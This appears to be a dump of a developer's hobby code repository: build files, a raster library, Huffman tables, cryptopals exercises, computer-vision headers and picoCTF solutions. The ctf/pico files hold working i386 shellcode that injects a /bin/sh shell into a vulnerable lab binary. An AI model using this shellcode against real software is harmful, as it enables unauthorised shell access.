to link 7 | # to libSystem for a "dynamic main". So pass -no_new_main too. 8 | rule ld 9 | command = ld -static -no_source_version -no_uuid $ 10 | -macosx_version_min 10.10 -no_new_main -o $out $in 11 | 12 | rule nasm 13 | command = nasm -f bin -o $out $in && chmod +x $out 14 | 15 | build small.o: as small.asm 16 | build small: ld small.o 17 | build nicertiny64: nasm nicertiny64.asm 18 | 19 | 20 | build conc.o: as conc.asm 21 | build conc: ld conc.o 22 | -------------------------------------------------------------------------------- /asm/small.asm: -------------------------------------------------------------------------------- 1 | #define SYSCALL_EXIT 0x2000001 2 | 3 | .intel_syntax 4 | 5 | .global start 6 | start: 7 | mov rdi, 42 8 | mov rax, SYSCALL_EXIT 9 | syscall 10 | -------------------------------------------------------------------------------- /atreus/screws.py: -------------------------------------------------------------------------------- 1 | # From atreus-cherry-3mm.eps, in 1/72th of an inch: 2 | pts = [ 3 | [ 668.909, 19.578 ], 4 | [ 710.41, 262.184 ], 5 | [ 448.77, 314.531 ], 6 | [ 407.5, 14.605 ], 7 | 8 | [ 61.055, 19.578 ], 9 | [ 19.551, 262.184 ], 10 | [ 281.191, 314.531 ], 11 | [ 322.461, 14.605 ], 12 | ] 13 | def to_mm(p): return [xy / 72.0 * 25.4 for xy in p] 14 | 15 | # From atreus_case.scad, removing everything and putting just 16 | # `screw_holes(0.0001);` at the bottom and exporting to svg, in mm: 17 | # (readme mentions that the top screwholes don't match prod) 18 | pts2 = [ 19 | [ 7.23572, -102.221 ], 20 | [ -7.23555, -102.222 ], 21 | [ 107.209, -102.221 ], 22 | [ -107.209, -102.221 ], 23 | [ 121.642, -20.3702 ], 24 | [ -121.641, -20.3703 ], 25 | [ 21.6, 0.316116 ], 26 | [ -21.5998, 0.316055 ], 27 | ] 28 | 29 | def print_canon(pts): 30 | pts = sorted(pts) 31 | for pt in pts: 32 | print pt[0] - pts[0][0], pt[1] - pts[0][1] 33 | 34 | print_canon(map(to_mm, pts)) 35 | print 36 | print_canon(pts2) 37 | -------------------------------------------------------------------------------- /aus/.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: Google 2 | -------------------------------------------------------------------------------- /aus/.gitignore: -------------------------------------------------------------------------------- 1 | /aus 2 | /aus_test 3 | /out.tga 4 | out 5 | -------------------------------------------------------------------------------- /aus/Makefile: -------------------------------------------------------------------------------- 1 | SRCS = $(wildcard *.cc) 2 | OBJS = $(SRCS:%.cc=out/%.o) 3 | 4 | # If you want to compile aus for debugging, invoke make as 5 | # `make CXXFLAGS=-g`. 6 | CFLAGS = -O2 7 | CXXFLAGS = -O2 8 | 9 | AUS_CXXFLAGS := -std=c++20 -fno-exceptions -fno-rtti 10 | 11 | DEPFLAGS = -MF out/$*.d -MMD -MP -MT $@ 12 | 13 | all: aus aus_test 14 | 15 | -include $(SRCS:%.cc=out/%.d) 16 | 17 | TEST_SRCS = $(wildcard *_test.cc) 18 | TEST_OBJS = $(TEST_SRCS:%.cc=out/%.o) 19 | 20 | aus: $(filter-out $(TEST_OBJS),$(OBJS)) 21 | $(CXX) $^ -o $@ $(LDFLAGS) 22 | 23 | aus_test: $(filter-out out/aus.o,$(OBJS)) 24 | $(CXX) $^ -o $@ $(LDFLAGS) 25 | 26 | out/%.o: %.cc out/.keep 27 | $(CXX) $(AUS_CXXFLAGS) $(DEPFLAGS) $(CXXFLAGS) -c -o $@ $< 28 | 29 | out/.keep: 30 | mkdir -p $(@D) 31 | touch $@ 32 | 33 | clean: 34 | rm -rf aus out 35 | 36 | format: 37 | clang-format -i *.h *.cc 38 | 39 | .PHONY: all clean format 40 | -------------------------------------------------------------------------------- /aus/README.md: -------------------------------------------------------------------------------- 1 | aus is a raster library 2 | ======================= 3 | 4 | Not fast or fancy; just for fun. 5 | -------------------------------------------------------------------------------- /aus/draw_line.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include "pixel.h" 6 | 7 | struct Surface; 8 | 9 | // Coordinates must be clipped to surface size already. 10 | // Both x1,y1 and x2,y2 are on the line. 11 | // Integer coordinates are in each pixel's center. 12 | void draw_line(const Surface& s, size_t x1, size_t y1, size_t x2, size_t y2, 13 | Pixel color); 14 | 15 | void draw_horizontal_line(const Surface& s, size_t x1, size_t y1, size_t x2, 16 | Pixel color); 17 | void draw_vertical_line(const Surface& s, size_t x1, size_t y1, size_t y2, 18 | Pixel color); 19 | -------------------------------------------------------------------------------- /aus/framebuffer.cc: -------------------------------------------------------------------------------- 1 | #include "framebuffer.h" 2 | 3 | Framebuffer::Framebuffer(size_t width, size_t height) 4 | : width(width), height(height) { 5 | // Note: make_unique() initializes the array. 6 | pixels = std::make_unique(width * height); 7 | } 8 | 9 | Surface Framebuffer::surfaceForRect(size_t x, size_t y, size_t w, 10 | size_t h) const { 11 | return Surface{w, h, width, scanline(y) + x}; 12 | } 13 | -------------------------------------------------------------------------------- /aus/framebuffer.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "pixel.h" 7 | #include "surface.h" 8 | 9 | // Owns its pixels. 10 | struct Framebuffer { 11 | size_t width = 0; 12 | size_t height = 0; 13 | std::unique_ptr pixels; 14 | 15 | Framebuffer(size_t width, size_t height); 16 | 17 | Pixel* scanline(size_t y) const { 18 | assert(y < height); 19 | return pixels.get() + width * y; 20 | } 21 | 22 | Surface surface() const { return surfaceForRect(0, 0, width, height); } 23 | Surface surfaceForRect(size_t x, size_t y, size_t w, size_t h) const; 24 | }; 25 | -------------------------------------------------------------------------------- /aus/notes.txt: -------------------------------------------------------------------------------- 1 | Bresenham 2 | --------- 3 | 4 | http://members.chello.at/easyfilter/bresenham.html 5 | 6 | very complete: http://members.chello.at/~easyfilter/Bresenham.pdf 7 | 8 | http://rosettacode.org/wiki/Bitmap/Bresenham%27s_line_algorithm#C 9 | 10 | https://github.com/ssloy/tinyrenderer/wiki/Lesson-1:-Bresenham%E2%80%99s-Line-Drawing-Algorithm 11 | 12 | ### Thick lines 13 | 14 | http://kt8216.unixcab.org/murphy/index.html (also antialiasing) 15 | http://homepages.enterprise.net/murphy/thickline/index.html 16 | 17 | https://github.com/ArminJo/STMF3-Discovery-Demos/blob/master/lib/graphics/src/thickLine.cpp 18 | 19 | ### Antialiasing 20 | 21 | http://algo2.iti.kit.edu/wassenberg/LineAA/LineAA.pdf 22 | https://www.inf.ed.ac.uk/teaching/courses/cg/lectures/cg4_2012.pdf 23 | 24 | https://en.wikipedia.org/wiki/Xiaolin_Wu%27s_line_algorithm 25 | 26 | ### SIMD 27 | 28 | https://litchie.com/2020/04/line 29 | http://beaugg.blogspot.com/2013/03/beyond-bresenham-new-algorithms-for.html 30 | 31 | Filled Triangles 32 | --------------- 33 | 34 | https://github.com/ssloy/tinyrenderer/wiki/Lesson-2:-Triangle-rasterization-and-back-face-culling 35 | 36 | https://stackoverflow.com/questions/7870533/c-triangle-rasterization/7870925#7870925 37 | 38 | Rotated rectangle 39 | ----------------- 40 | 41 | https://stackoverflow.com/questions/10061146/how-to-rasterize-rotated-rectangle-in-2d-by-setpixel 42 | 43 | Blurring 44 | -------- 45 | 46 | https://zingl.github.io/blurring.html 47 | https://zingl.github.io/blurring.pdf 48 | 49 | Gradients 50 | --------- 51 | 52 | https://aras-p.info/blog/2022/03/11/Optimizing-Oklab-gradients/ 53 | 54 | Alpha, Coverage, Premultiply 55 | ---------------------------- 56 | 57 | https://ciechanow.ski/alpha-compositing/ 58 | -------------------------------------------------------------------------------- /aus/pixel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // Premultiplied ARGB 5 | using Pixel = uint32_t; 6 | 7 | constexpr Pixel rgb(uint8_t r, uint8_t g, uint8_t b) { 8 | return (r << 16) | (g << 8) | b; 9 | } 10 | -------------------------------------------------------------------------------- /aus/surface.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "pixel.h" 7 | 8 | // A Surface is a sub-rectangle of a Framebuffer. 9 | struct Surface { 10 | size_t width = 0; 11 | size_t height = 0; 12 | size_t pitch = 0; 13 | 14 | // Points to a width x height rectangle of Pixels whose rows are pitch many 15 | // Pixels apart. 16 | Pixel* pixels; 17 | 18 | Pixel* scanline(size_t y) const { 19 | assert(y < height); 20 | return pixels + pitch * y; 21 | } 22 | }; 23 | -------------------------------------------------------------------------------- /autoupdate.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # A bash script that realizes when it has changed on disk and then re-execs 4 | # itself. 5 | 6 | mtime() { 7 | case "$OSTYPE" in 8 | darwin*) stat -f %m "$1" ;; 9 | linux*) stat -c %Y "$1" ;; 10 | *) echo "unknown: $OSTYPE"; exit 1 ;; 11 | esac 12 | } 13 | 14 | SELFTIME=$(mtime "$0") 15 | 16 | while true; do 17 | sleep 2 18 | NEW_SELFTIME=$(mtime "$0") 19 | if [ $SELFTIME != $NEW_SELFTIME ]; then 20 | date && echo changed 21 | exec "$0" 22 | fi 23 | done 24 | -------------------------------------------------------------------------------- /bench.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | r"""Small tool to produce input data for https://github.com/nico/ministat 4 | (which was originally at https://github.com/thorduri/ministat) 5 | 6 | Example: 7 | bench.py -o before.txt out/gn/bin/ld64.lld.darwinnew @response.txt 8 | # ...rebuild lld with some change... 9 | bench.py -o after.txt out/gn/bin/ld64.lld.darwinnew @response.txt 10 | 11 | ministat before.txt after.txt 12 | """ 13 | 14 | import argparse, subprocess, sys, time 15 | 16 | parser = argparse.ArgumentParser( 17 | epilog=__doc__, 18 | formatter_class=argparse.RawDescriptionHelpFormatter) 19 | parser.add_argument('-n', help='number of repetitions', default=5, type=int) 20 | parser.add_argument('--output', '-o', help='write timing output to this file') 21 | parser.add_argument('cmd', nargs=argparse.REMAINDER, help='command to time') 22 | args = parser.parse_args() 23 | 24 | if args.cmd and args.cmd[0] == '--': # Make `bench.py -o foo -- cmd` work 25 | del args.cmd[0] 26 | if not args.cmd: 27 | parser.print_usage() 28 | sys.exit(1) 29 | 30 | out = open(args.output, 'w') if args.output else sys.stdout 31 | 32 | subprocess.call(args.cmd) # Warmup 33 | for _ in range(args.n): 34 | t = time.time(); 35 | subprocess.call(args.cmd) 36 | print(time.time() - t, file=out) 37 | 38 | -------------------------------------------------------------------------------- /cab/huftab.py: -------------------------------------------------------------------------------- 1 | def makehuftab(lengths): 2 | # XXX comment 3 | maxlen = max(lengths) 4 | bl_count = [0] * (maxlen + 1) 5 | for e in lengths: 6 | bl_count[e] += 1 7 | code = 0 8 | bl_count[0] = 0 9 | next_code = [0] * (maxlen + 1) 10 | for i in xrange(1, maxlen + 1): 11 | code = (code + bl_count[i - 1]) << 1 12 | next_code[i] = code 13 | tab = [0] * (1 << maxlen) 14 | for i, len_i in enumerate(lengths): 15 | if len_i != 0: 16 | c = next_code[len_i] 17 | val = c << (maxlen - len_i) 18 | # This keeps the relevant bits on the left and padding bits on the right. 19 | for j in range(val, val + (1 << (maxlen - len_i))): 20 | tab[j] = (len_i, i) 21 | next_code[len_i] += 1 22 | return tab 23 | 24 | 25 | def makehufdict(lengths): 26 | # Given the lengths of the nodes in a canonical huffman tree, 27 | # returns a (len, code) -> value map for each node. 28 | maxlen = max(lengths) 29 | bl_count = [0] * (maxlen + 1) 30 | for e in lengths: 31 | bl_count[e] += 1 32 | code = 0 33 | bl_count[0] = 0 34 | next_code = [0] * (maxlen + 1) 35 | for i in xrange(1, maxlen + 1): 36 | code = (code + bl_count[i - 1]) << 1 37 | next_code[i] = code 38 | codes = {} 39 | for i, len_i in enumerate(lengths): 40 | if len_i != 0: 41 | # Using a dict for this is very inefficient. 42 | codes[(len_i, next_code[len_i])] = i 43 | next_code[len_i] += 1 44 | return codes 45 | 46 | 47 | def main(): 48 | print makehuftab([1, 1]), makehufdict([1, 1]) 49 | print makehuftab([2, 1, 2]), makehufdict([2, 1, 2]) 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /cab/notes.txt: -------------------------------------------------------------------------------- 1 | lz77 encoding: 2 | - for vanilla lz77, greedy is optimal (but slow) 3 | - "lazy" (delay committing match until checking if longer match exists at 4 | next pos) is a bit slower but better 5 | - in practice, hash chains are fast and ok (and is what e.g. gzip default uses) 6 | - lzss paper has "optimal parse" but that's no longer optimal when state like 7 | e.g. lzx's "reuse last match" is used 8 | - http:// cbloomrants.blogspot.com/2015/01/01-23-15-lza-new-optimal-parse.html 9 | -------------------------------------------------------------------------------- /cryptopals/set1/1.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | def b64_from_hex(s): 4 | return base64.b64encode(s.decode('hex')) 5 | #return base64.b64encode(bytes.fromhex(s)) # Py3 6 | 7 | assert b64_from_hex( 8 | '49276d206b696c6c696e6720796f757220627261696e206c' 9 | '696b65206120706f69736f6e6f7573206d757368726f6f6d') == \ 10 | b'SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t' 11 | -------------------------------------------------------------------------------- /cryptopals/set1/2.py: -------------------------------------------------------------------------------- 1 | def from_hex(s): 2 | return s.decode('hex') 3 | #return bytes.fromhex(s) # Py3 4 | 5 | 6 | def xor(s1, s2): 7 | return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) 8 | #return bytes(a ^ b for a, b in zip(s1, s2)) # Py3 9 | 10 | 11 | assert xor(from_hex('1c0111001f010100061a024b53535009181c'), 12 | from_hex('686974207468652062756c6c277320657965')) == \ 13 | from_hex('746865206b696420646f6e277420706c6179') 14 | 15 | -------------------------------------------------------------------------------- /cryptopals/set1/3_2.py: -------------------------------------------------------------------------------- 1 | import math 2 | import string 3 | 4 | 5 | def from_hex(s): 6 | return s.decode('hex') 7 | 8 | 9 | def xor(s1, s2): 10 | return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) 11 | 12 | 13 | printset = set(string.printable) 14 | freq = { 15 | 'e':math.log(0.127), 't':math.log(0.094), 'a':math.log(0.082), 16 | 'o':math.log(0.075), 'i':math.log(0.070), 'n':math.log(0.067), 17 | 's':math.log(0.063), 'h':math.log(0.061), 'r':math.log(0.060), 18 | 'd':math.log(0.043), 'l':math.log(0.040), 'u':math.log(0.028), 19 | 'w':math.log(0.026), 'm':math.log(0.024), 'f':math.log(0.023), 20 | 'c':math.log(0.022), 'g':math.log(0.020), 'y':math.log(0.020), 21 | 'p':math.log(0.019), 'b':math.log(0.015), 'k':math.log(0.013), 22 | 'v':math.log(0.010), 'j':math.log(0.002), 'x':math.log(0.002), 23 | 'q':math.log(0.001), 'z':math.log(0.001), 24 | #' ': 0, '.': 0, '?': 0, ',': 0, '"': 0, '\n': 0, 25 | } 26 | def score_char(m): 27 | """returns how likely m is an english text using character frequency""" 28 | def lnPc(c): 29 | if c not in printset: return min(freq.values()) - math.log(1000000) 30 | return freq.get(c.lower(), min(freq.values()) - math.log(1000)) 31 | return sum(lnPc(c) for c in m) 32 | assert score_char('Hello') > score_char('whyme') > score_char('Zzyzx') 33 | 34 | c = from_hex( 35 | '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736') 36 | 37 | def score_key(k): 38 | m = xor(chr(k) * len(c), c) 39 | print m, score_char(m) 40 | return score_char(xor(chr(k) * len(c), c)) 41 | key = max(range(256), key=score_key) 42 | print xor(chr(key) * len(c), c) 43 | -------------------------------------------------------------------------------- /cryptopals/set1/5.py: -------------------------------------------------------------------------------- 1 | import fileinput 2 | import itertools 3 | import sys 4 | 5 | 6 | def xor(s1, s2): 7 | return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) 8 | 9 | 10 | key = sys.argv[1] if len(sys.argv) > 1 else 'ICE' 11 | key = itertools.cycle(key) 12 | 13 | 14 | for line in fileinput.input(): 15 | xored = xor(line, key) 16 | sys.stdout.write(xored.encode('hex')) 17 | -------------------------------------------------------------------------------- /cryptopals/set1/6_timeit.py: -------------------------------------------------------------------------------- 1 | bits = [bin(i).count('1') for i in range(256)] 2 | def hamming_bits(s1, s2): 3 | if len(s1) != len(s2): raise ValueError 4 | # 10% slower than the explicit loop below: 5 | #return sum(bits[ord(c1) ^ ord(c2)] for c1, c2 in zip(s1, s2)) 6 | n = 0 7 | for i in xrange(len(s1)): 8 | n += bits[ord(s1[i]) ^ ord(s2[i])] 9 | return n 10 | 11 | if __name__ == '__main__': 12 | import timeit 13 | print(timeit.timeit("hamming_bits('a' * 20, 'b' * 20)", 14 | setup="from __main__ import hamming_bits")) 15 | -------------------------------------------------------------------------------- /cryptopals/set1/7.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from Crypto.Cipher import AES 3 | 4 | import base64 5 | 6 | 7 | key = 'YELLOW SUBMARINE' 8 | c = base64.b64decode(open('7.txt').read()) 9 | m = AES.new(key, AES.MODE_ECB).decrypt(c) 10 | print(m) 11 | -------------------------------------------------------------------------------- /cryptopals/set1/8.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | 3 | import base64 4 | import collections 5 | 6 | 7 | counters = [] 8 | for i, l in enumerate(open('8.txt')): 9 | l = base64.b64decode(l.rstrip()) 10 | chunks = [l[i*16:(i+1)*16] for i in range(len(l) / 16)] 11 | 12 | c = collections.Counter(chunks) 13 | counters.append(c) 14 | if len(c) < len(chunks): 15 | print(i, chunks, c) 16 | 17 | #print(min(len(c) for c in counters)) 18 | -------------------------------------------------------------------------------- /cryptopals/set2/10.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from Crypto.Cipher import AES 3 | 4 | import base64 5 | 6 | # From 9.py (pad) 7 | def pkcs7_pad(m, k): 8 | n_pad = (k - (len(m) % k)) % k 9 | return m + chr(n_pad) * n_pad 10 | 11 | # From 2.py 12 | def xor(s1, s2): 13 | return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) 14 | #return bytes(a ^ b for a, b in zip(s1, s2)) # Py3 15 | 16 | 17 | block_len = 16 18 | 19 | def cbc_encode(m, key): 20 | # From 7.py (ECB) 21 | m = pkcs7_pad(m, block_len) 22 | chunks = [m[i*block_len:(i+1)*block_len] for i in range(len(m) / block_len)] 23 | 24 | IV = '\0' * block_len 25 | aes = AES.new(key, AES.MODE_ECB) 26 | enc_chunks = [ aes.encrypt(IV) ] 27 | for c in chunks: 28 | enc_chunks.append(aes.encrypt(xor(c, enc_chunks[-1]))) 29 | return ''.join(enc_chunks) 30 | 31 | def cbc_decode(c, key): 32 | # From 7.py (ECB) 33 | chunks = [c[i*block_len:(i+1)*block_len] for i in range(len(c) / block_len)] 34 | 35 | aes = AES.new(key, AES.MODE_ECB) 36 | dec_chunks = [] 37 | for i in range(1, len(chunks)): 38 | dec_chunks.append(xor(aes.decrypt(chunks[i]), chunks[i - 1])) 39 | return ''.join(dec_chunks) 40 | 41 | 42 | key = 'YELLOW SUBMARINE' 43 | def test(test_message): 44 | assert len(test_message) % block_len == 0 45 | assert cbc_decode(cbc_encode(test_message, key), key) == test_message 46 | test('') 47 | test("hello, what's up") 48 | test("i don't know if you noticed, but") 49 | 50 | print(cbc_decode(base64.b64decode(open('10.txt').read()), key)) 51 | -------------------------------------------------------------------------------- /cryptopals/set2/11.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from Crypto.Cipher import AES 3 | 4 | import base64 5 | import collections 6 | import random 7 | import os 8 | 9 | block_len = 16 10 | 11 | def pkcs7_pad(m, k): 12 | n_pad = (k - (len(m) % k)) % k 13 | return m + chr(n_pad) * n_pad 14 | 15 | def xor(s1, s2): 16 | return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) 17 | #return bytes(a ^ b for a, b in zip(s1, s2)) # Py3 18 | 19 | def ecb_encode(m, key): 20 | m = pkcs7_pad(m, block_len) 21 | return AES.new(key, AES.MODE_ECB).encrypt(m) 22 | 23 | def cbc_encode(m, key, IV): 24 | m = pkcs7_pad(m, block_len) 25 | chunks = [m[i*block_len:(i+1)*block_len] for i in range(len(m) / block_len)] 26 | 27 | aes = AES.new(key, AES.MODE_ECB) 28 | enc_chunks = [ aes.encrypt(IV) ] 29 | for c in chunks: 30 | enc_chunks.append(aes.encrypt(xor(c, enc_chunks[-1]))) 31 | return ''.join(enc_chunks) 32 | 33 | 34 | def random_aes_key(): 35 | return os.urandom(block_len) 36 | 37 | 38 | def encryption_oracle(m, key=None): 39 | if not key: key = random_aes_key() 40 | def randpad(): return os.urandom(random.randint(5, 10)) 41 | m = randpad() + m + randpad() 42 | if ord(os.urandom(1)) & 1 == 0: 43 | print('pick: ecb') 44 | return ecb_encode(m, key) 45 | print('pick: cbc') 46 | return cbc_encode(m, key, os.urandom(block_len)) 47 | 48 | 49 | def predict(): 50 | N = 5 51 | m = 'a' * (N * block_len) 52 | e = encryption_oracle(m) # Adds 1-2 blocks 53 | 54 | chunks = [e[i*block_len:(i+1)*block_len] for i in range(len(e) / block_len)] 55 | c = collections.Counter(chunks) 56 | if len(c) <= 4: # 1 front pad, 1 middle bits, up to 2 back pad 57 | print('predict: ecb') 58 | elif len(c) > N: 59 | print('predict: cbc') 60 | else: 61 | print('predict: ??', len(c)) 62 | 63 | 64 | for i in range(10): 65 | predict() 66 | -------------------------------------------------------------------------------- /cryptopals/set2/9.py: -------------------------------------------------------------------------------- 1 | def pkcs7_pad(m, k): 2 | n_pad = (k - (len(m) % k)) % k 3 | return m + chr(n_pad) * n_pad 4 | 5 | assert pkcs7_pad("YELLOW SUBMARINE", 20) == "YELLOW SUBMARINE\x04\x04\x04\x04" 6 | -------------------------------------------------------------------------------- /ctf/pico/aes-abc-un.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | BLOCK_SIZE = 16 4 | UMAX = int(256 ** BLOCK_SIZE) 5 | 6 | 7 | def to_bytes(n): 8 | s = hex(n) 9 | s_n = s[2:].rstrip('L') 10 | if len(s_n) % 2 != 0: 11 | s_n = '0' + s_n 12 | decoded = s_n.decode('hex') 13 | 14 | pad = (len(decoded) % BLOCK_SIZE) 15 | if pad != 0: 16 | decoded = "\0" * (BLOCK_SIZE - pad) + decoded 17 | return decoded 18 | 19 | 20 | def remove_line(s): 21 | return s[:s.index('\n') + 1], s[s.index('\n')+1:] 22 | 23 | 24 | def parse_header_ppm(f): 25 | data = f.read() 26 | 27 | header = "" 28 | 29 | for i in range(3): 30 | header_i, data = remove_line(data) 31 | header += header_i 32 | 33 | return header, data 34 | 35 | 36 | if __name__=="__main__": 37 | with open('body.enc.ppm', 'rb') as f: 38 | header, data = parse_header_ppm(f) 39 | 40 | blocks = [data[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] 41 | for i in range(len(data) / BLOCK_SIZE)] 42 | 43 | for i in range(len(blocks) - 2, -1, -1): 44 | prev_blk = int(blocks[i].encode('hex'), 16) 45 | curr_blk = int(blocks[i+1].encode('hex'), 16) 46 | n_curr_blk = (-prev_blk + curr_blk) % UMAX 47 | blocks[i+1] = to_bytes(n_curr_blk) 48 | 49 | ct_bca = "".join(blocks[1:]) 50 | 51 | with open('flag.enc.ppm', 'wb') as fw: 52 | fw.write(header) 53 | fw.write(ct_bca) 54 | -------------------------------------------------------------------------------- /ctf/pico/handy.exp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect -f 2 | 3 | spawn ./vuln 4 | fconfigure $spawn_id -encoding binary 5 | send "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\r" 6 | interact 7 | -------------------------------------------------------------------------------- /ctf/pico/handy.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | print shellcraft.i386.linux.sh() 4 | sh = process('vuln') 5 | sh.sendlineafter(':\n', asm(shellcraft.i386.linux.sh())) 6 | sh.interactive() 7 | -------------------------------------------------------------------------------- /ctf/pico/shell.c: -------------------------------------------------------------------------------- 1 | // gcc -o shell shell.c -m32 -g -z execstack 2 | // Not needed: -fno-stack-protector -no-pie 3 | #include 4 | #include 5 | #include 6 | 7 | // https://dhavalkapil.com/blogs/Shellcode-Injection/ 8 | const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 9 | 10 | int main() { 11 | void (*foo)() = shellcode; 12 | foo(); 13 | } 14 | -------------------------------------------------------------------------------- /ctf/pico/times-up-again-popen.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int64_t eval(char** c) { 8 | int64_t res; 9 | 10 | if (**c != '(') return -1; 11 | *c += 1; 12 | 13 | if (**c != '(') { 14 | res = strtol(*c, c, 10); 15 | } else { 16 | int64_t lhs = eval(c); 17 | char op = (*c)[1]; 18 | *c += 3; 19 | int64_t rhs = eval(c); 20 | switch (op) { 21 | case '+': res = lhs + rhs; break; 22 | case '-': res = lhs - rhs; break; 23 | case '*': res = lhs * rhs; break; 24 | } 25 | } 26 | 27 | if (**c != ')') return -1; 28 | *c += 1; 29 | return res; 30 | } 31 | 32 | int main() { 33 | char buf[512]; 34 | FILE* in = popen("./times-up-again", "r"); 35 | 36 | if (!in || !fgets(buf, sizeof(buf), in) || buf[strlen(buf) - 1] != '\n') 37 | return 1; 38 | 39 | puts(buf); 40 | char* s = buf + strlen("Challenge: "); 41 | int64_t r = eval(&s); 42 | printf("%" PRId64 "\n", r); 43 | 44 | if (pclose(in) != 0) 45 | return 2; 46 | } 47 | -------------------------------------------------------------------------------- /ctf/pico/times-up.exp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect -f 2 | 3 | spawn ./times-up 4 | expect -re "Challenge: (.+?)\r" 5 | set chal $expect_out(1,string) 6 | set sol [expr $chal] 7 | expect "Solution?" 8 | send -- "$sol\r" 9 | interact 10 | -------------------------------------------------------------------------------- /cv/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | build/* 3 | -------------------------------------------------------------------------------- /cv/alloc_graymap.c: -------------------------------------------------------------------------------- 1 | #include "alloc_graymap.h" 2 | 3 | #include "graymap.h" 4 | 5 | #include 6 | 7 | graymap_t* alloc_graymap(int w, int h) { 8 | graymap_t* graymap = malloc(sizeof(graymap_t)); 9 | graymap->w = w; 10 | graymap->h = h; 11 | graymap->data = malloc(w * h); 12 | return graymap; 13 | } 14 | 15 | void free_graymap(graymap_t* graymap) { 16 | free(graymap->data); 17 | free(graymap); 18 | } 19 | -------------------------------------------------------------------------------- /cv/alloc_graymap.h: -------------------------------------------------------------------------------- 1 | #ifndef ALLOC_GRAYMAP_H_ 2 | #define ALLOC_GRAYMAP_H_ 3 | 4 | typedef struct graymap_t_ graymap_t; 5 | 6 | graymap_t* alloc_graymap(int w, int h); 7 | void free_graymap(graymap_t*); 8 | 9 | #endif // ALLOC_GRAYMAP_H_ 10 | 11 | -------------------------------------------------------------------------------- /cv/blur_box.h: -------------------------------------------------------------------------------- 1 | #ifndef BLUR_BOX_H_ 2 | #define BLUR_BOX_H_ 3 | 4 | typedef struct graymap_t_ graymap_t; 5 | 6 | void blur_box_k(graymap_t* dst, graymap_t* src, int k); 7 | 8 | // Computes the average value of the 8 surrounding pixels of each pixel in 9 | // src and stores the result in dst. 10 | void blur_box_n8(graymap_t* dst, graymap_t* src); 11 | 12 | #endif // BLUR_BOX_H_ 13 | -------------------------------------------------------------------------------- /cv/build.ninja: -------------------------------------------------------------------------------- 1 | builddir = build 2 | 3 | cflags = -O2 -Wall -Werror -fcolor-diagnostics -std=c11 -g 4 | 5 | rule cc 6 | depfile = $out.d 7 | command = clang -c $in -o $out -MMD -MF $out.d $cflags 8 | 9 | build $builddir/alloc_graymap.o: cc alloc_graymap.c 10 | build $builddir/blur_box.o: cc blur_box.c 11 | build $builddir/connected_component.o: cc connected_component.c 12 | build $builddir/find_corners.o: cc find_corners.c 13 | build $builddir/find_sudoku.o: cc find_sudoku.c 14 | build $builddir/graymap_pgm.o: cc graymap_pgm.c 15 | build $builddir/linear.o: cc linear.c 16 | build $builddir/threshold.o: cc threshold.c 17 | 18 | rule ld 19 | command = clang $in -o $out $ldflags 20 | 21 | build $builddir/find_sudoku: ld $builddir/alloc_graymap.o $ 22 | $builddir/blur_box.o $builddir/connected_component.o $ 23 | $builddir/find_sudoku.o $builddir/find_corners.o $ 24 | $builddir/graymap_pgm.o $builddir/linear.o $builddir/threshold.o 25 | 26 | build $builddir/train_mac.o: cc train_mac.m 27 | build $builddir/train_mac: ld $builddir/train_mac.o 28 | ldflags = -framework Cocoa 29 | -------------------------------------------------------------------------------- /cv/connected_component.h: -------------------------------------------------------------------------------- 1 | #ifndef CONNECTED_COMPONENT_H_ 2 | #define CONNECTED_COMPONENT_H_ 3 | 4 | typedef struct graymap_t_ graymap_t; 5 | 6 | void find_biggest_connected_component(graymap_t*); 7 | 8 | #endif // CONNECTED_COMPONENT_H_ 9 | -------------------------------------------------------------------------------- /cv/find_corners.h: -------------------------------------------------------------------------------- 1 | #ifndef FIND_CORNERS_H_ 2 | #define FIND_CORNERS_H_ 3 | 4 | #include 5 | 6 | typedef struct graymap_t_ graymap_t; 7 | 8 | bool find_corners(graymap_t*, float corners[4][2]); 9 | 10 | #endif // FIND_CORNERS_H_ 11 | -------------------------------------------------------------------------------- /cv/graymap.h: -------------------------------------------------------------------------------- 1 | #ifndef GRAYMAP_H_ 2 | #define GRAYMAP_H_ 3 | 4 | #include 5 | 6 | typedef struct graymap_t_ { 7 | int w, h; 8 | uint8_t* data; 9 | } graymap_t; 10 | 11 | #endif // GRAYMAP_H_ 12 | 